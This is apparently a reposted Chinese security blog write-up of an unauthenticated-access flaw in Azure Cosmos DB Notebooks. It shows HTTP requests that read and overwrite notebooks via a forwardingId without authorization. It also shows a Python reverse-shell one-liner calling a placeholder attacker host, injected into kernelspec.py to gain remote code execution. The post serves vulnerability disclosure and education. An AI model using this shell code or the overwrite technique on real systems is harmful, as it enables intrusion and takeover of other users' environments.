【网络安全】远程代码执行之Azure Cosmos DB Notebook

未经许可,不得转载。

文章目录

前言

Azure Cosmos DB Notebook是一个用于在Azure Cosmos DB中进行数据分析和查询的工具。它提供了一个交互式的环境,使用Jupyter Notebook的方式编写和执行查询、分析数据。用户可以在Notebook中编写代码来连接到Azure Cosmos DB的数据库和容器,执行SQL查询、JavaScript代码或者其他支持的语言来操作数据,还可以进行数据可视化、实时数据流处理等操作。

正文

主页面如下:

在这里插入图片描述

创建新的 Notebook 时,存在该请求包:

POST 
/api/controlplane/toolscontainer/cosmosaccounts/subscriptions/[tenant-id]/resourceGroups/Orca-Research/providers/Microsoft.DocumentDB/databaseAccounts/orca-cosmos-dev/containerconnections/multicontainer HTTP/2
Host: tools.cosmos.azure.com
Content-Length: 88
Sec-Ch-Ua: "Google Chrome";v="105", "Not)A;Brand";v="8", "Chromium";v="105"
Authorization: Bearer 
eyJ0eXAiOiJKV1QiLdaaaxxWMFRPSSIsImtpZCI6IjJaUXBKM1VwYmpBWVhZR2FYRUpsOGxWMFRPSSJ9.eyJhdWQddaaam5ldC8yMjdkY2ExZC1
Content-Type: application/json
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Sec-Ch-Ua-Platform: "macOS"
Accept: /
Origin: https://cosmos.azure.com
Sec-Fetch-Site: same-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://cosmos.azure.com/
Accept-Encoding: gzip, deflate
Accept-Language: en-IL,en;q=0.9,he-IL;q=0.8,he;q=0.7,en-US;q=0.6,pl;q=0.5

{"cosmosEndpoint":"https://orca-cosmos-dev.documents.azure.com:443/","poolId":"default"}

The Cosmos DB endpoint that was created manually by the user on portal.azure.com.

返回包如下:

The Cosmos DB endpoint response on portal.azure.com.

可以看到,服务器返回了forwardingId,这个值将会存在于后续请求包的API接口中。

在渗透测试过程中,攻击者的forwardingId为27f180bc-cf93-4c42-b23e-f27a5085da57:

当我们尝试删除授权标头并发送相同的请求时,我们发现不需要授权标头来列出同一台服务器的不同笔记本。

通过测试发现,该接口用于列出同一台服务器的不同notebooks:

https://seasia.tools.cosmos.azure.com:10007/api/containergateway/27f180bc-cf93-4c42-b23e-f27a5085da57(即forwardingId)/api/contents/notebooks

通过删除请求头Authorization并观察返回包可知,该接口存在未授权漏洞:

在这里插入图片描述

经过后续测试,发现全站接口均存在未授权漏洞,即只要知道受害者的forwardingId,就可以利用所有接口,对受害者的notebook进行读写访问修改等操作)。

证明如下:

1、利用/api/containergateway/[forwardingId]/api/kernels/接口获取kernels_id

通过退出笔记本本身(X 符号)检查更新的笔记本,然后点击表 API 标题右侧的刷新按钮来刷新表格/笔记本。

2、Notebook代码覆盖、删除等

在 Notebook 中编写代码:

在这里插入图片描述

保存:

通过 Burp 查看笔记本(Untitled.ipynb)。

请求包如下:

发送上述请求将会给我们以下 ID。

将Get请求修改为PUT请求,并利用返回包内容来构造Json请求体,发送至服务器:

PUT 
/api/containergateway/27f180bc-cf93-4c42-b23e-f27a5085da57/api/contents/notebooks/Untitled.ipynb HTTP/2
Host: [seasia.tools.cosmos.azure.com:1000](<http://seasia.tools.cosmos.azure.com:10005/>)7
Content-Length: 983
Sec-Ch-Ua: "Google Chrome";v="105", "Not)A;Brand";v="8", "Chromium";v="105"
Content-Type: application/json
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Sec-Ch-Ua-Platform: "macOS"
Accept: */*
Origin: [<https://cosmos.azure.com>](<https://cosmos.azure.com/>)
Sec-Fetch-Site: same-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: [<https://cosmos.azure.com/>](<https://cosmos.azure.com/>)
Accept-Encoding: gzip, deflate
Accept-Language: en-IL,en;q=0.9,he-IL;q=0.8,he;q=0.7,en-US;q=0.6,pl;q=0.5

{"kernel":{"id":null,"name":"python3"},"name":"",
"content": {"cells": [{"cell_type": "code", "execution_count": 1, "id": "47bdbef0-ea14-4960-8789-7983e63312dd", "metadata": {"collapsed": true, "execution": {"iopub.execute_input": "2022-10-02T08:06:27.283Z", "iopub.status.busy": "2022-10-02T08:06:27.277Z", "iopub.status.idle": "2022-10-02T08:06:27.299Z", "shell.execute_reply": "2022-10-02T08:06:27.292Z"}, "jupyter": {"outputs_hidden": false, "source_hidden": false}, "nteract": {"transient": {"deleting": false}}, "trusted": true}, "outputs": [{"name": "stdout", "output_type": "stream", "text": "hacked\\n"}], "source": "print('Hacked!')"}], "metadata": {"language_info": {"file_extension": "ipynb", "mimetype": "application/json", "name": "python", "version": "3.7"}, "nteract": {"version": "dataExplorer 1.0"}}, "nbformat": 4, "nbformat_minor": 5}, "format": "json", "mimetype": null, "size": 993, "writable": true, "path":"notebooks/Untitled.ipynb","type":"notebook"}

Check that the code in the Notebook was overwritten by sending the crafted payload directly to the server.

在浏览器刷新页面后,可以看到请求体内容已将原有Notebook中的代码覆盖:

我们还设法检索任何 Notebook 并在其中删除和注入代码,无论我们是否连接到 Azure,或者仅仅是未经身份验证的用户。

同时,我们也可以执行删除代码等操作。

经过后续测试,我们发现,通过 Azure UI 加载 Cosmos 数据资源管理器时,该api用于构建资源管理器仪表板:

/home/cosmosuser/.local/lib/python3.6/site-packages/jupyter_client/kernelspec.py

当数据资源管理器加载时,整个 Python 代码的这一部分也将被执行,并最终为任何远程攻击者提供客户端的反向 shell。

我们仍然可以覆盖**/home/cosmosuser**目录中的所有文件,包括该kernelspec.py文件。

现将GET请求修改为PUT,并在请求体中添加py文件原始内容及以下反向shell脚本:

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\"ATTACKER_ID\\",ATTACKER_PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\\"/bin/bash\\")

通过发送包含文件原始内容 + RCE 行的 PUT 请求来修改文件。

发送请求并刷新页面后,RCE成功:

刷新数据资源管理器页面后,我们应该得到一个反向 shell。

原文出处:https://orca.security/resources/blog/cosmiss-vulnerability-azure-cosmos-db/

  • 9
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

秋说

感谢打赏,祝你平安喜乐。

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值